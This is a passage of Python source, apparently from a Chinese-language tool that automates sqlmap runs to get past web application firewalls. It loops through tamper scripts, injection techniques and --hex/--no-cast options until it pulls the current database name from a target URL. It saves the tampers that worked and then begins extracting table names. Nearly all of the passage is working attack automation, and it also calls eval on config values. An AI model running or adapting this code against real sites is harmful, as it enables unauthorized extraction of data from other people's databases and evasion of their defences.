current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper + " --technique=USE" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_command_with_tamper + " --technique=USE" + " --current-db")
current_finished_command_list.append(
self.sm_command_with_tamper + " --technique=USE" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper + " --technique=BQT" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_command_with_tamper + " --technique=BQT" + " --current-db")
current_finished_command_list.append(
self.sm_command_with_tamper + " --technique=BQT" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
if flag == 0:
if self.has_good_sqli_type == 1:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper + " --technique=USE" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_hex_command_with_tamper + " --technique=USE" + " --current-db")
current_finished_command_list.append(
self.sm_hex_command_with_tamper + " --technique=USE" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--hex选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper + " --technique=BQT" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_hex_command_with_tamper + " --technique=BQT" + " --current-db")
current_finished_command_list.append(
self.sm_hex_command_with_tamper + " --technique=BQT" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--hex选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--hex'])
if flag == 0:
if self.has_good_sqli_type == 1:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper + " --technique=USE" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper +
" --technique=USE" + " --current-db")
current_finished_command_list.append(
self.sm_no_cast_command_with_tamper + " --technique=USE" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--no-cast选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--no-cast'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper + " --technique=BQT" + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper +
" --technique=BQT" + " --current-db")
current_finished_command_list.append(
self.sm_no_cast_command_with_tamper + " --technique=BQT" + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和--no-cast选项获得了当前url的数据库名" %
tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
if self.has_good_sqli_type == 1:
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast + " --technique=USE"
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
sm_hex_or_no_cast_command_with_tamper + " --current-db")
current_finished_command_list.append(
sm_hex_or_no_cast_command_with_tamper + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项获得了当前url的数据库名" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 0:
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast + " --technique=BQT"
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper + " --current-db" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
sm_hex_or_no_cast_command_with_tamper + " --current-db")
current_finished_command_list.append(
sm_hex_or_no_cast_command_with_tamper + " --current-db")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
db_name_list = self.get_db_name_from_log_file(self.log_file)
if db_name_list != 0 and db_name_list != []:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项获得了当前url的数据库名" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'table_name':
# 为了获取一个数据库的所有表名的值而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取当前数据库的表名...", 'green')